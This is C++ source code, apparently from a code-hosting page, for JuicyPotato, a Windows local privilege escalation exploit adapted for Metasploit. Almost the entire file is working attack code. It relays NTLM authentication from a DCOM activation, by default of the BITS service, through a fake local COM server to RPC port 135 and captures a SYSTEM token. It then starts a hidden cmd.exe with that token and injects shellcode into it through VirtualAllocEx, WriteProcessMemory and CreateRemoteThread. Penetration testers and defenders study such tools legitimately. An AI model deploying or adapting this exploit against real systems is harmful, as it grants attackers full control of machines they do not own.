1006 lines
21 KiB
C++
1006 lines
21 KiB
C++
#include "stdafx.h"
|
|
#include "MSFRottenPotato.h"
|
|
#include "IStorageTrigger.h"
|
|
#include <iostream>
|
|
#include <winsock2.h>
|
|
#include <ws2tcpip.h>
|
|
#include <stdlib.h>
|
|
#include <stdio.h>
|
|
#include <UserEnv.h>
|
|
#include <assert.h>
|
|
#include <tchar.h>
|
|
#include <windows.h>
|
|
#include <aclapi.h>
|
|
#include <accctrl.h>
|
|
#include <stdio.h>
|
|
#include <assert.h>
|
|
#include <tchar.h>
|
|
#include <WinSafer.h>
|
|
|
|
#pragma comment (lib, "Ws2_32.lib")
|
|
#pragma comment (lib, "Mswsock.lib")
|
|
#pragma comment (lib, "AdvApi32.lib")
|
|
#pragma comment(lib, "userenv.lib")
|
|
|
|
wchar_t *olestr;
|
|
wchar_t *g_port;
|
|
wchar_t *rpcserver;
|
|
wchar_t *rpcport;
|
|
wchar_t *cmdproc;
|
|
char dcom_port[12];
|
|
char dcom_ip[17];
|
|
|
|
//{8BC3F05E-D86B-11D0-A075-00C04FB68820}
|
|
//{A9B5F443-FE02-4C19-859D-E9B5C5A1B6C6}
|
|
|
|
FILE* logFile = stdout;
|
|
|
|
static const char VERSION[] = "0.1";
|
|
BOOL TEST_mode = FALSE;
|
|
HANDLE elevated_token, duped_token;
|
|
|
|
int PotatoAPI::newConnection;
|
|
wchar_t *processtype = NULL;
|
|
wchar_t *processargs = NULL;
|
|
wchar_t *processname = NULL;
|
|
|
|
int IsTokenSystem(HANDLE tok)
|
|
{
|
|
DWORD Size, UserSize, DomainSize;
|
|
SID *sid;
|
|
SID_NAME_USE SidType;
|
|
TCHAR UserName[64], DomainName[64];
|
|
TOKEN_USER *User;
|
|
Size = 0;
|
|
GetTokenInformation(tok, TokenUser, NULL, 0, &Size);
|
|
if (!Size)
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] GetTokenInformation\n");
|
|
fflush(logFile);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
User = (TOKEN_USER *)malloc(Size);
|
|
assert(User);
|
|
GetTokenInformation(tok, TokenUser, User, Size, &Size);
|
|
assert(Size);
|
|
Size = GetLengthSid(User->User.Sid);
|
|
assert(Size);
|
|
sid = (SID *)malloc(Size);
|
|
assert(sid);
|
|
|
|
CopySid(Size, sid, User->User.Sid);
|
|
UserSize = (sizeof UserName / sizeof *UserName) - 1;
|
|
DomainSize = (sizeof DomainName / sizeof *DomainName) - 1;
|
|
LookupAccountSid(NULL, sid, UserName, &UserSize, DomainName, &DomainSize, &SidType);
|
|
free(sid);
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "%S: %S\\%S\n", olestr, DomainName, UserName);
|
|
fflush(logFile);
|
|
}
|
|
|
|
if (!_wcsicmp(UserName, L"SYSTEM"))
|
|
{
|
|
return 1;
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
void usage()
|
|
{
|
|
printf("JuicyPotato v%s \n\n", VERSION);
|
|
|
|
printf("Mandatory args: \n"
|
|
"-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both\n"
|
|
"-p <program>: program to launch\n"
|
|
"-l <port>: COM server listen port\n"
|
|
);
|
|
|
|
printf("\n\n");
|
|
printf("Optional args: \n"
|
|
"-m <ip>: COM server listen address (default 127.0.0.1)\n"
|
|
"-a <argument>: command line argument to pass to program (default NULL)\n"
|
|
"-k <ip>: RPC server ip address (default 127.0.0.1)\n"
|
|
"-n <port>: RPC server listen port (default 135)\n"
|
|
"-c <{clsid}>: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})\n"
|
|
"-z only test CLSID and print token's user\n"
|
|
);
|
|
}
|
|
|
|
PotatoAPI::PotatoAPI() {
|
|
comSendQ = new BlockingQueue<char*>();
|
|
rpcSendQ = new BlockingQueue<char*>();
|
|
newConnection = 0;
|
|
negotiator = new LocalNegotiator();
|
|
return;
|
|
}
|
|
|
|
DWORD PotatoAPI::startRPCConnectionThread() {
|
|
DWORD ThreadID;
|
|
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartRPCConnection, (void*)this, 0, &ThreadID);
|
|
return ThreadID;
|
|
}
|
|
|
|
DWORD PotatoAPI::startCOMListenerThread() {
|
|
DWORD ThreadID;
|
|
HANDLE t = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)staticStartCOMListener, (void*)this, 0, &ThreadID);
|
|
|
|
return ThreadID;
|
|
}
|
|
|
|
DWORD WINAPI PotatoAPI::staticStartRPCConnection(void* Param) {
|
|
PotatoAPI* This = (PotatoAPI*)Param;
|
|
return This->startRPCConnection();
|
|
}
|
|
|
|
DWORD WINAPI PotatoAPI::staticStartCOMListener(void* Param) {
|
|
PotatoAPI* This = (PotatoAPI*)Param;
|
|
return This->startCOMListener();
|
|
}
|
|
|
|
int PotatoAPI::findNTLMBytes(char *bytes, int len) {
|
|
//Find the NTLM bytes in a packet and return the index to the start of the NTLMSSP header.
|
|
//The NTLM bytes (for our purposes) are always at the end of the packet, so when we find the header,
|
|
//we can just return the index
|
|
char pattern[7] = { 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50 };
|
|
int pIdx = 0;
|
|
int i;
|
|
for (i = 0; i < len; i++) {
|
|
if (bytes[i] == pattern[pIdx]) {
|
|
pIdx = pIdx + 1;
|
|
if (pIdx == 7) return (i - 6);
|
|
}
|
|
else {
|
|
pIdx = 0;
|
|
}
|
|
}
|
|
return -1;
|
|
}
|
|
|
|
int PotatoAPI::processNtlmBytes(char *bytes, int len) {
|
|
int ntlmLoc = findNTLMBytes(bytes, len);
|
|
if (ntlmLoc == -1) return -1;
|
|
|
|
int messageType = bytes[ntlmLoc + 8];
|
|
switch (messageType) {
|
|
case 1:
|
|
//NTLM type 1 message
|
|
negotiator->handleType1(bytes + ntlmLoc, len - ntlmLoc);
|
|
break;
|
|
case 2:
|
|
//NTLM type 2 message
|
|
negotiator->handleType2(bytes + ntlmLoc, len - ntlmLoc);
|
|
break;
|
|
case 3:
|
|
//NTLM type 3 message
|
|
negotiator->handleType3(bytes + ntlmLoc, len - ntlmLoc);
|
|
break;
|
|
default:
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] Unknown NTLM message type...\n");
|
|
fflush(logFile);
|
|
}
|
|
return -1;
|
|
break;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
int checkForNewConnection(SOCKET* ListenSocket, SOCKET* ClientSocket) {
|
|
fd_set readSet;
|
|
FD_ZERO(&readSet);
|
|
FD_SET(*ListenSocket, &readSet);
|
|
timeval timeout;
|
|
timeout.tv_sec = 1; // Zero timeout (poll)
|
|
timeout.tv_usec = 0;
|
|
if (select(*ListenSocket, &readSet, NULL, NULL, &timeout) == 1) {
|
|
*ClientSocket = accept(*ListenSocket, NULL, NULL);
|
|
return 1;
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
int PotatoAPI::triggerDCOM(void)
|
|
{
|
|
CoInitialize(nullptr);
|
|
|
|
//Create IStorage object
|
|
IStorage *stg = NULL;
|
|
ILockBytes *lb = NULL;
|
|
HRESULT res;
|
|
|
|
res = CreateILockBytesOnHGlobal(NULL, true, &lb);
|
|
res = StgCreateDocfileOnILockBytes(lb, STGM_CREATE | STGM_READWRITE | STGM_SHARE_EXCLUSIVE, 0, &stg);
|
|
|
|
//Initialze IStorageTrigger object
|
|
IStorageTrigger* t = new IStorageTrigger(stg);
|
|
|
|
CLSID clsid;
|
|
CLSIDFromString(olestr, &clsid);
|
|
CLSID tmp;
|
|
//IUnknown IID
|
|
CLSIDFromString(OLESTR("{00000000-0000-0000-C000-000000000046}"), &tmp);
|
|
MULTI_QI qis[1];
|
|
qis[0].pIID = &tmp;
|
|
qis[0].pItf = NULL;
|
|
qis[0].hr = 0;
|
|
|
|
//Call CoGetInstanceFromIStorage
|
|
HRESULT status = CoGetInstanceFromIStorage(NULL, &clsid, NULL, CLSCTX_LOCAL_SERVER, t, 1, qis);
|
|
|
|
fflush(stdout);
|
|
return 0;
|
|
}
|
|
|
|
int PotatoAPI::startRPCConnection(void) {
|
|
const int DEFAULT_BUFLEN = 4096;
|
|
|
|
fflush(stdout);
|
|
WSADATA wsaData;
|
|
|
|
struct addrinfo *result = NULL,
|
|
*ptr = NULL,
|
|
hints;
|
|
|
|
char *sendbuf;
|
|
char recvbuf[DEFAULT_BUFLEN];
|
|
int iResult;
|
|
int recvbuflen = DEFAULT_BUFLEN;
|
|
|
|
// Initialize Winsock
|
|
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
|
if (iResult != 0) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
|
|
fflush(logFile);
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
ZeroMemory(&hints, sizeof(hints));
|
|
hints.ai_family = AF_UNSPEC;
|
|
hints.ai_socktype = SOCK_STREAM;
|
|
hints.ai_protocol = IPPROTO_TCP;
|
|
|
|
// Resolve the server address and port
|
|
char myhost[24];
|
|
char myport[12];
|
|
|
|
if (rpcserver != NULL) {
|
|
memset(myhost, 0, 24);
|
|
wcstombs(myhost, rpcserver, 24);
|
|
}
|
|
else {
|
|
strcpy(myhost, "127.0.0.1");
|
|
}
|
|
|
|
if (rpcport != NULL) {
|
|
memset(myport, 0, 12);
|
|
wcstombs(myport, rpcport, 12);
|
|
}
|
|
else {
|
|
strcpy(myport, "135");
|
|
}
|
|
|
|
iResult = getaddrinfo(myhost, myport, &hints, &result);
|
|
if (iResult != 0) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
|
|
fflush(logFile);
|
|
}
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
// Attempt to connect to an address
|
|
for (ptr = result; ptr != NULL; ptr = ptr->ai_next) {
|
|
// Create a SOCKET for connecting to server
|
|
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
|
if (ConnectSocket == INVALID_SOCKET) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
// Connect to server
|
|
iResult = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
|
if (iResult == SOCKET_ERROR) {
|
|
closesocket(ConnectSocket);
|
|
ConnectSocket = INVALID_SOCKET;
|
|
continue;
|
|
}
|
|
|
|
break;
|
|
}
|
|
|
|
if (ConnectSocket == INVALID_SOCKET) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] Unable to connect to server!\n");
|
|
fflush(logFile);
|
|
}
|
|
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
// Send/Receive until the peer closes the connection
|
|
fflush(stdout);
|
|
do {
|
|
//Monitor our sendQ until we have some data to send
|
|
int *len = (int*)rpcSendQ->wait_pop();
|
|
|
|
fflush(stdout);
|
|
sendbuf = rpcSendQ->wait_pop();
|
|
|
|
//Check if we should be opening a new socket before we send the data
|
|
if (newConnection == 1) {
|
|
ConnectSocket = socket(ptr->ai_family, ptr->ai_socktype, ptr->ai_protocol);
|
|
int y = connect(ConnectSocket, ptr->ai_addr, (int)ptr->ai_addrlen);
|
|
newConnection = 0;
|
|
}
|
|
|
|
iResult = send(ConnectSocket, sendbuf, *len, 0);
|
|
if (iResult == SOCKET_ERROR) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] RPC -> send failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
|
|
closesocket(ConnectSocket);
|
|
WSACleanup();
|
|
return 0;
|
|
}
|
|
|
|
iResult = recv(ConnectSocket, recvbuf, recvbuflen, 0);
|
|
if (iResult > 0) {
|
|
comSendQ->push((char*)&iResult);
|
|
comSendQ->push(recvbuf);
|
|
}
|
|
else if (iResult == 0) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "RPC-> Connection closed\n");
|
|
fflush(logFile);
|
|
}
|
|
}
|
|
else {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] RPC -> recv failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
} while (iResult > 0);
|
|
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "last iResult: %d\n", iResult);
|
|
fflush(logFile);
|
|
}
|
|
|
|
// cleanup
|
|
iResult = shutdown(ConnectSocket, SD_SEND);
|
|
closesocket(ConnectSocket);
|
|
WSACleanup();
|
|
|
|
return 0;
|
|
}
|
|
|
|
int PotatoAPI::startCOMListener(void) {
|
|
const int DEFAULT_BUFLEN = 4096;
|
|
WSADATA wsaData;
|
|
int iResult;
|
|
struct addrinfo *result = NULL;
|
|
struct addrinfo hints;
|
|
int iSendResult;
|
|
char *sendbuf;
|
|
char recvbuf[DEFAULT_BUFLEN];
|
|
int recvbuflen = DEFAULT_BUFLEN;
|
|
|
|
// Initialize Winsock
|
|
iResult = WSAStartup(MAKEWORD(2, 2), &wsaData);
|
|
if (iResult != 0) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] WSAStartup failed with error: %d\n", iResult);
|
|
fflush(logFile);
|
|
}
|
|
return 1;
|
|
}
|
|
|
|
ZeroMemory(&hints, sizeof(hints));
|
|
hints.ai_family = AF_INET;
|
|
hints.ai_socktype = SOCK_STREAM;
|
|
hints.ai_protocol = IPPROTO_TCP;
|
|
hints.ai_flags = AI_PASSIVE;
|
|
|
|
memset(dcom_port, 0, 12);
|
|
wcstombs(dcom_port, g_port, 12);
|
|
|
|
// printf("[+] Listening on port:%s\n", dcom_port);
|
|
// Resolve the server address and port
|
|
iResult = getaddrinfo(NULL, dcom_port, &hints, &result);
|
|
|
|
if (iResult != 0) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] getaddrinfo failed with error: %d\n", iResult);
|
|
fflush(logFile);
|
|
}
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
// Create a SOCKET for connecting to server
|
|
ListenSocket = socket(result->ai_family, result->ai_socktype, result->ai_protocol);
|
|
int optval = 1;
|
|
setsockopt(ListenSocket, SOL_SOCKET, SO_REUSEADDR, (char *)&optval, sizeof(optval));
|
|
|
|
if (ListenSocket == INVALID_SOCKET) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] socket failed with error: %ld\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
freeaddrinfo(result);
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
// Setup the TCP listening socket
|
|
iResult = bind(ListenSocket, result->ai_addr, (int)result->ai_addrlen);
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "startCOMListener bindresult: %d\n", iResult);
|
|
fflush(logFile);
|
|
}
|
|
|
|
if (iResult == SOCKET_ERROR) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] bind failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
|
|
freeaddrinfo(result);
|
|
closesocket(ListenSocket);
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
|
|
freeaddrinfo(result);
|
|
|
|
iResult = listen(ListenSocket, SOMAXCONN);
|
|
if (iResult == SOCKET_ERROR) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] listen failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
|
|
closesocket(ListenSocket);
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
//---- non block socket server
|
|
|
|
timeval timeout = { 1, 0 };
|
|
fd_set fds;
|
|
FD_ZERO(&fds);
|
|
FD_SET(ListenSocket, &fds);
|
|
|
|
select(ListenSocket + 1, &fds, NULL, NULL, &timeout);
|
|
if (FD_ISSET(ListenSocket, &fds))
|
|
{
|
|
ClientSocket = accept(ListenSocket, NULL, NULL);
|
|
if (ClientSocket == INVALID_SOCKET) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] accept failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
closesocket(ListenSocket);
|
|
WSACleanup();
|
|
return 1;
|
|
}
|
|
}
|
|
|
|
int ntlmLoc;
|
|
do {
|
|
iResult = recv(ClientSocket, recvbuf, recvbuflen, 0);
|
|
if (iResult > 0) {
|
|
|
|
if (!TEST_mode)
|
|
printf(".", iResult);
|
|
|
|
//check to see if the received packet has NTLM auth information
|
|
processNtlmBytes(recvbuf, iResult);
|
|
|
|
//Send all incoming packets to the WinRPC sockets "send queue" and wait for the WinRPC socket to put a packet into our "send queue"
|
|
//put packet in winrpc_sendq
|
|
rpcSendQ->push((char*)&iResult);
|
|
rpcSendQ->push(recvbuf);
|
|
|
|
//block and wait for a new item in our sendq
|
|
int* len = (int*)comSendQ->wait_pop();
|
|
sendbuf = comSendQ->wait_pop();
|
|
|
|
//Check to see if this is a packet containing NTLM authentication information before sending
|
|
processNtlmBytes(sendbuf, *len);
|
|
|
|
//send the new packet sendbuf
|
|
iSendResult = send(ClientSocket, sendbuf, *len, 0);
|
|
|
|
if (iSendResult == SOCKET_ERROR) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] COM -> send failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
|
|
exit(-11);
|
|
}
|
|
|
|
//Sometimes Windows likes to open a new connection instead of using the current one
|
|
//Allow for this by waiting for 1s and replacing the ClientSocket if a new connection is incoming
|
|
newConnection = checkForNewConnection(&ListenSocket, &ClientSocket);
|
|
}
|
|
else if (iResult == 0) {
|
|
//connection closing...
|
|
shutdown(ClientSocket, SD_SEND);
|
|
WSACleanup();
|
|
exit(-1);
|
|
}
|
|
else {
|
|
|
|
if (!TEST_mode)
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] COM -> recv failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
}
|
|
shutdown(ClientSocket, SD_SEND);
|
|
WSACleanup();
|
|
|
|
exit(-1);
|
|
}
|
|
|
|
} while (iResult > 0);
|
|
|
|
// shutdown the connection since we're done
|
|
iResult = shutdown(ClientSocket, SD_SEND);
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "\nstartCOMListener iResult ComLisetner: %d\n", iResult);
|
|
fflush(logFile);
|
|
}
|
|
|
|
if (iResult == SOCKET_ERROR) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] shutdown failed with error: %d\n", WSAGetLastError());
|
|
fflush(logFile);
|
|
}
|
|
|
|
closesocket(ClientSocket);
|
|
WSACleanup();
|
|
exit(-1);
|
|
}
|
|
|
|
// cleanup
|
|
closesocket(ClientSocket);
|
|
WSACleanup();
|
|
return 0;
|
|
}
|
|
|
|
BOOL EnablePriv(HANDLE hToken, LPCTSTR priv)
|
|
{
|
|
TOKEN_PRIVILEGES tp;
|
|
LUID luid;
|
|
|
|
if (!LookupPrivilegeValue(NULL, priv, &luid))
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] Priv Lookup FALSE\n");
|
|
fflush(logFile);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
tp.PrivilegeCount = 1;
|
|
tp.Privileges[0].Luid = luid;
|
|
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
|
|
if (!AdjustTokenPrivileges(
|
|
hToken,
|
|
FALSE,
|
|
&tp,
|
|
sizeof(TOKEN_PRIVILEGES),
|
|
(PTOKEN_PRIVILEGES)NULL,
|
|
(PDWORD)NULL))
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] Priv Adjust FALSE\n");
|
|
fflush(logFile);
|
|
}
|
|
|
|
return FALSE;
|
|
}
|
|
|
|
return TRUE;
|
|
}
|
|
|
|
int wmain(int argc, wchar_t** argv)
|
|
{
|
|
BOOL brute = FALSE;
|
|
|
|
strcpy(dcom_ip, "127.0.0.1");
|
|
while ((argc > 1) && (argv[1][0] == '-'))
|
|
{
|
|
switch (argv[1][1])
|
|
{
|
|
case 't':
|
|
++argv;
|
|
--argc;
|
|
processtype = argv[1];
|
|
break;
|
|
|
|
case 'p':
|
|
++argv;
|
|
--argc;
|
|
processname = argv[1];
|
|
break;
|
|
|
|
case 'l':
|
|
++argv;
|
|
--argc;
|
|
g_port = argv[1];
|
|
break;
|
|
|
|
case 'c':
|
|
++argv;
|
|
--argc;
|
|
olestr = argv[1];
|
|
break;
|
|
|
|
case 'a':
|
|
++argv;
|
|
--argc;
|
|
processargs = argv[1];
|
|
break;
|
|
|
|
case 'm':
|
|
++argv;
|
|
--argc;
|
|
memset(dcom_ip, 0, 17);
|
|
wcstombs(dcom_ip, argv[1], wcslen(argv[1]));
|
|
break;
|
|
|
|
case 'h':
|
|
usage();
|
|
exit(100);
|
|
break;
|
|
|
|
case 'k':
|
|
++argv;
|
|
--argc;
|
|
rpcserver = argv[1];
|
|
break;
|
|
|
|
case 'n':
|
|
++argv;
|
|
--argc;
|
|
rpcport = argv[1];
|
|
break;
|
|
|
|
case 'z':
|
|
TEST_mode = TRUE;
|
|
break;
|
|
|
|
default:
|
|
printf("Wrong Argument: %s\n", argv[1]);
|
|
usage();
|
|
exit(-1);
|
|
}
|
|
|
|
++argv;
|
|
--argc;
|
|
}
|
|
|
|
if (g_port == NULL)
|
|
{
|
|
usage();
|
|
exit(-1);
|
|
}
|
|
|
|
if ((processtype == NULL || processname == NULL) && !TEST_mode)
|
|
{
|
|
usage();
|
|
exit(-1);
|
|
}
|
|
|
|
// Fallback to default BITS CLSID
|
|
if (olestr == NULL)
|
|
olestr = L"{4991d34b-80a1-4291-83b6-3328366b9097}";
|
|
|
|
exit(Juicy(NULL, FALSE, NULL, 0));
|
|
}
|
|
|
|
int Juicy(wchar_t *clsid, BOOL brute, LPVOID lpPayload, long lPayloadLength)
|
|
{
|
|
PotatoAPI* test = new PotatoAPI();
|
|
test->startCOMListenerThread();
|
|
|
|
if (clsid != NULL)
|
|
olestr = clsid;
|
|
|
|
if (!TEST_mode)
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "Testing: %S - %S\n", olestr, g_port);
|
|
fflush(logFile);
|
|
}
|
|
}
|
|
|
|
test->startRPCConnectionThread();
|
|
test->triggerDCOM();
|
|
|
|
BOOL result = false;
|
|
|
|
int ret = 0;
|
|
while (true) {
|
|
|
|
if (test->negotiator->authResult != -1)
|
|
{
|
|
HANDLE hToken;
|
|
TOKEN_PRIVILEGES tkp;
|
|
SECURITY_DESCRIPTOR sdSecurityDescriptor;
|
|
if (!TEST_mode)
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "\n[+] authResult: %d\n", test->negotiator->authResult);
|
|
fflush(logFile);
|
|
}
|
|
}
|
|
|
|
// Get a token for this process.
|
|
if (!OpenProcessToken(GetCurrentProcess(),
|
|
TOKEN_ALL_ACCESS, &hToken))
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] OpenProcessToken\n");
|
|
fflush(logFile);
|
|
}
|
|
|
|
return 0;
|
|
}
|
|
|
|
//enable privileges
|
|
EnablePriv(hToken, SE_IMPERSONATE_NAME);
|
|
EnablePriv(hToken, SE_ASSIGNPRIMARYTOKEN_NAME);
|
|
PTOKEN_TYPE ptg;
|
|
DWORD dwl = 0;
|
|
HANDLE hProcessToken;
|
|
OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS,
|
|
&hProcessToken);
|
|
|
|
QuerySecurityContextToken(test->negotiator->phContext, &elevated_token);
|
|
IsTokenSystem(elevated_token);
|
|
|
|
result = DuplicateTokenEx(elevated_token,
|
|
TOKEN_ALL_ACCESS,
|
|
NULL,
|
|
SecurityImpersonation,
|
|
TokenPrimary,
|
|
&duped_token);
|
|
|
|
PROCESS_INFORMATION pi;
|
|
STARTUPINFO si;
|
|
SECURITY_ATTRIBUTES sa;
|
|
|
|
ZeroMemory(&si, sizeof(STARTUPINFO));
|
|
ZeroMemory(&pi, sizeof(PROCESS_INFORMATION));
|
|
memset(&pi, 0x00, sizeof(PROCESS_INFORMATION));
|
|
si.cb = sizeof(STARTUPINFO);
|
|
si.dwFlags = STARTF_USESHOWWINDOW;
|
|
si.wShowWindow = SW_HIDE;
|
|
si.lpDesktop = L"winsta0\\default";
|
|
|
|
if (cmdproc == NULL)
|
|
{
|
|
cmdproc = L"cmd.exe";
|
|
}
|
|
|
|
result = CreateProcessWithTokenW(duped_token,
|
|
0,
|
|
cmdproc,
|
|
NULL,
|
|
0,
|
|
NULL,
|
|
NULL,
|
|
&si,
|
|
&pi);
|
|
|
|
if (!result)
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "\n[-] CreateProcessWithTokenW failed with error: %d\n", GetLastError());
|
|
fflush(logFile);
|
|
}
|
|
|
|
result = CreateProcessAsUserW(
|
|
duped_token,
|
|
cmdproc,
|
|
NULL,
|
|
nullptr,
|
|
nullptr,
|
|
FALSE,
|
|
0,
|
|
nullptr,
|
|
L"C:\\",
|
|
&si,
|
|
&pi);
|
|
|
|
if (!result) {
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "\n[-] CreateProcessAsUser failed with error: %d\n", GetLastError());
|
|
fflush(logFile);
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "\n[+] CreateProcessAsUser OK\n");
|
|
fprintf(logFile, "Payload length: %d\n", lPayloadLength);
|
|
fflush(logFile);
|
|
}
|
|
|
|
LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
SIZE_T lpnumber = 0;
|
|
BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber);
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "WriteProcessResult: %d; lpnumber = %d\n", b, lpnumber);
|
|
fflush(logFile);
|
|
}
|
|
|
|
HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);
|
|
|
|
if (h == NULL)
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] Failed to execute shellcode: %d\n", GetLastError());
|
|
fflush(logFile);
|
|
}
|
|
}
|
|
break;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "\n[+] CreateProcessWithTokenW OK\n");
|
|
fprintf(logFile, "Payload length: %d\n", lPayloadLength);
|
|
fflush(logFile);
|
|
}
|
|
|
|
LPVOID vptr = (int *)VirtualAllocEx(pi.hProcess, NULL, lPayloadLength, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
|
|
|
SIZE_T lpnumber = 0;
|
|
BOOL b = WriteProcessMemory(pi.hProcess, vptr, lpPayload, lPayloadLength, &lpnumber);
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "WriteProcessResult: %d; lpnumber: %d\n", b, lpnumber);
|
|
fflush(logFile);
|
|
}
|
|
|
|
HANDLE h = CreateRemoteThread(pi.hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)vptr, NULL, 0, 0);
|
|
|
|
if (h == NULL)
|
|
{
|
|
if (logFile != NULL)
|
|
{
|
|
fprintf(logFile, "[-] Failed to execute shellcode: %d\n", GetLastError());
|
|
fflush(logFile);
|
|
}
|
|
}
|
|
}
|
|
|
|
break;
|
|
}//end auth
|
|
}
|
|
return result;
|
|
}
|
|
|
|
void EntryPoint(LPVOID lpReserved)
|
|
{
|
|
logFile = NULL;
|
|
|
|
BOOL brute = FALSE;
|
|
int len;
|
|
long payloadLength;
|
|
char *buff = (char *)lpReserved;
|
|
|
|
len = strlen(buff) + 1;
|
|
if (len > 1)
|
|
{
|
|
logFile = fopen(buff, "w");
|
|
}
|
|
buff += len;
|
|
|
|
len = strlen(buff) + 1;
|
|
cmdproc = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
|
mbstowcs(cmdproc, buff, len);
|
|
buff += len;
|
|
|
|
len = strlen(buff) + 1;
|
|
olestr = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
|
mbstowcs(olestr, buff, len);
|
|
buff += len;
|
|
|
|
len = strlen(buff) + 1;
|
|
g_port = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
|
mbstowcs(g_port, buff, len);
|
|
buff += len;
|
|
|
|
len = strlen(buff) + 1;
|
|
rpcserver = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
|
mbstowcs(rpcserver, buff, len);
|
|
buff += len;
|
|
|
|
len = strlen(buff) + 1;
|
|
rpcport = (wchar_t *)malloc(sizeof(wchar_t) * len);
|
|
mbstowcs(rpcport, buff, len);
|
|
buff += len;
|
|
|
|
len = strlen(buff) + 1;
|
|
strcpy(dcom_ip, buff);
|
|
buff += len;
|
|
|
|
len = strlen(buff) + 1;
|
|
payloadLength = atol(buff);
|
|
buff += len;
|
|
|
|
Juicy(olestr, FALSE, (LPVOID*)buff, payloadLength);
|
|
|
|
free(olestr);
|
|
free(g_port);
|
|
free(rpcserver);
|
|
free(rpcport);
|
|
|
|
